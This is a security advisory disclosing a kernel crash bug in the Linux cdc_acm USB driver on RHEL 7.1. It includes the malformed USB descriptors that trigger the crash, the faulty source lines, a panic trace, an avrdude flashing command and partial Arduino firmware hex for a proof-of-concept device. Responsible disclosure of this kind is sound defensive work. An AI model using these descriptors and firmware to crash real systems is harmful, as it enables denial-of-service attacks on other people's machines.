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OS-S Security Advisory 2016-06 Linux cdc_acm Nullpointer Dereference Date: March 4th, 2016 Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg CVE: not yet assigned CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C) Title: Local RedHat Enterprise Linux DoS â?? RHEL 7.1 Kernel crashes on invalid USB device descriptors (cdc_acm driver) Severity: Critical. The Kernel panics. A reboot is required. Ease of Exploitation: Trivial Vulnerability type: Wrong input validation Products: RHEL 7.1 including all updates Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7) Vendor: Red Hat Vendor contacted: November, 12th 2015 PDF of Advisory: https://os-s.net/advisories/OSS-2016-06_cdc_acm.pdf Abstract: The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB device requiring the cdc_acm driver. Detailed product description: We confirmed the bug on the following system: RHEL 7.1 Kernel 3.10.0-229.20.1.el7.x86_64 Further products or kernel versions have not been tested. How reproducible: Always Actual results: Kernel crashes. Description: The bug was found using the USB-fuzzing framework vUSBf from Sergej Schumilo (github.com/schumilo) using the following device descriptor: [*] Device-Descriptor bLength: 0x12 bDescriptorType: 0x1 bcdUSB: 0x200 bDeviceClass: 0x3 bDeviceSubClass: 0x0 bDeviceProtocol: 0x0 bMaxPacketSize: 0x40 idVendor: 0x482 idProduct: 0x203 bcdDevice: 0x100 iManufacturer: 0x1 iProduct: 0x2 iSerialNumbers: 0x3 bNumConfigurations: 0x1 This is the configuration descriptor containing only one interface descriptor. The cdc-acm driver assumes that there will be at least two interface- descriptors with associated endpoint-descriptors. Since the cdc-acm driver is expecting a second interface descriptor, the driver tries to dereference a null-pointer. This results in a crash of the system. **** $ nm cdc-acm.ko.debug | grep acm_probe 0000000000001530 t acm_probe $ addr2line -e cdc-acm.ko.debug 0x179C /usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_ 64/drivers/usb/class/cdc- acm.c:1229 **** **** CentOS-Kernel linux-3.10.0-229.14.1.el7 (drivers/usb/class/cdc-acm.c) ... 1093 /* handle quirks deadly to normal probing*/ 1094 if (quirks == NO_UNION_NORMAL) { 1095 data_interface = usb_ifnum_to_if(usb_dev, 1); /* possible null- pointer */ 1096 control_interface = usb_ifnum_to_if(usb_dev, 0); 1097 goto skip_normal_probe; 1098 } ... 1226 skip_normal_probe: 1227 1228 /*workaround for switched interfaces */ 1229 if (data_interface->cur_altsetting->desc.bInterfaceClass /* null- pointer dereference */ 1230 != CDC_DATA_INTERFACE_TYPE) { 1231 if (control_interface->cur_altsetting->desc.bInterfaceC ... **** [*] Configuration-Descriptor bLength: 0x9 bDescriptorType: 0x2 wTotalLength: 0x27 bNumInterfaces: 0x1 bConfigurationValue: 0x1 iConfiguration: 0x0 bmAttributes: 0x0 bMaxPower: 0x31 [*] Interface-Descriptor bLength: 0x9 bDescriptorType: 0x4 bInterfaceNumber: 0x0 bAlternateSetting: 0x0 bNumEndpoints: 0x0 bInterfaceClass: 0x0 bInterfaceSubClass: 0x0 bInterfaceProtocol: 0x0 [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x81 bmAttribut: 0x3 wMaxPacketSize: 0x404 bInterval: 0xc [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x1 bmAttribut: 0x2 wMaxPacketSize: 0x4 bInterval: 0xc [*] Endpoint-Descriptor: bLength: 0x7 bDescriptorType: 0x5 bEndpointAddress: 0x82 bmAttribut: 0x1 wMaxPacketSize: 0x4 bInterval: 0xc Proof of Concept: For a proof of concept, we are providing an Arduino Leonardo firmware file. This firmware will emulate the defective USB device. avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U flash:w:binary.hex The firmware has been attached to this bug report. To prevent the automated delivery of the payload, a jumper may be used to connect port D3 and 3V3! Severity and Ease of Exploitation: The vulnerability can be easily exploited. Using our Arduino Leonardo firmware, only physical access to the system is required. Vendor Communication: We contacted Red Hat on the November, 12th 2015. To this day, no security patch was provided by the vendor. Since our 90-day Responsible Discourse deadline is expired, we publish this Security Advisory. References: https://bugzilla.redhat.com/show_bug.cgi?id=1283366 Kernel Stacktrace: [ 32.550821] usb 1-1: new full-speed USB device number 2 using xhci_hcd [ 32.765575] usb 1-1: New USB device found, idVendor=0482, idProduct=0203 [ 32.775042] usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [ 32.780788] usb 1-1: Product: Ä? [ 32.783389] usb 1-1: Manufacturer: Ä? [ 32.786534] usb 1-1: SerialNumber: % [ 32.794914] usb 1-1: ep 0x81 - rounding interval to 64 microframes, ep desc says 96 microframes [ 32.850587] BUG: unable to handle kernel NULL pointer dereference at 0000000000000008 [ 32.851028] IP: [<ffffffffa039479c>] acm_probe+0x26c/0x11d0 [cdc_acm] [ 32.851028] PGD 0 [ 32.851028] Oops: 0000 [#1] SMP [ 32.851028] Modules linked in: cdc_acm(+) ip6t_rpfilter ip6t_REJECT ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6 nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod [ 32.851028] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted 3.10.0-229.14.1.el7.x86_64 #1 [ 32.851028] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014 [ 32.851028] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000 [ 32.851028] RIP: 0010:[<ffffffffa039479c>] [<ffffffffa039479c>] acm_probe+0x26c/0x11d0 [cdc_acm] [ 32.851028] RSP: 0018:ffff88000bd23b40 EFLAGS: 00010246 [ 32.851028] RAX: ffff88000c525800 RBX: 0000000000000000 RCX: ffff88000bd23fd8 [ 32.851028] RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffff88000c524c00 [ 32.851028] RBP: ffff88000bd23bd8 R08: 0000000000000001 R09: 0000000000000000 [ 32.851028] R10: 0000000000002cad R11: ffffffff810020d8 R12: ffff88000c525800 [ 32.851028] R13: ffff88000f508692 R14: 0000000000000001 R15: ffff88000bcd0000 [ 32.851028] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000) knlGS:0000000000000000 [ 32.851028] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b [ 32.851028] CR2: 0000000000000008 CR3: 000000000cb87000 CR4: 00000000000006f0 [ 32.851028] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 32.851028] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [ 32.851028] Stack: [ 32.851028] ffff88000bd23ba8 ffff88000d6b3690 ffff88000bd23ba8 00000000436261cb [ 32.851028] ffff88000bcd0090 0000000000000004 ffff88000bcd0090 0000000000000202 [ 32.851028] 0000001000000001 0000000000000200 0000000000000000 ffff88000bd23bd8 [ 32.851028] Call Trace: [ 32.851028] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0 [ 32.851028] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390 [ 32.851028] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0 [ 32.851028] [<ffffffff813d3420>] ? __device_attach+0x40/0x40 [ 32.851028] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0 [ 32.851028] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20 [ 32.851028] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0 [ 32.851028] [<ffffffff813d3b34>] driver_register+0x64/0xf0 [ 32.851028] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160 [ 32.851028] [<ffffffffa039d000>] ? 0xffffffffa039cfff [ 32.851028] [<ffffffffa039d0ba>] acm_init+0xba/0x1000 [cdc_acm] [ 32.851028] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230 [ 32.851028] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40 [ 32.851028] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0 [ 32.851028] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150 [ 32.851028] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0 [ 32.851028] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b [ 32.851028] Code: 5f 5d c3 0f 1f 40 00 48 83 7d d0 00 74 d4 44 39 6d c0 74 0d f6 05 66 4e 00 00 04 0f 85 0f 0e 00 00 48 39 5d d0 0f 84 ea 06 00 00 <48> 8b 43 08 80 78 05 0a 0f 84 fe 00 00 00 48 8b 45 d0 48 8b 40 [ 32.851028] RIP [<ffffffffa039479c>] acm_probe+0x26c/0x11d0 [cdc_acm] [ 32.851028] RSP <ffff88000bd23b40> [ 32.851028] CR2: 0000000000000008 [ 33.230701] ---[ end trace b239663354a1c556 ]--- [ 33.237071] Kernel panic - not syncing: Fatal exception [ 33.238044] drm_kms_helper: panic occurred, switching back to text console Arduino Leonardo Firmware: :100000000C94A8000C94C5000C94C5000C94C50079 :100010000C94C5000C94C5000C94C5000C94C5004C :100020000C94C5000C94C5000C94C4050C942F04CA :100030000C94C5000C94C5000C94C5000C94C5002C :100040000C94C5000C94C5000C94C5000C94C5001C :100050000C94C5000C94C5000C94C5000C940E02C1 :100060000C94C5000C94C5000C94C5000C94C500FC :100070000C94C5000C94C5000C94C5000C94C500EC :100080000C94C5000C94C5000C94C5000C94C500DC :100090000C94C5000C94C5000C94C5000C94C500CC :1000A0000C94C5000C94C5000C94C5000B030E0302 :1000B000010305032F032F032F03120316031A0353 :1000C000200324032F032A030000000200080E006F :1000D00000030401000B000000000000000000000D :1000E00000000000000004080201104080401020C1 :1000F00040804080080204018040201002011080EE :100100001020404004040404040304050202020217 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体验盒子
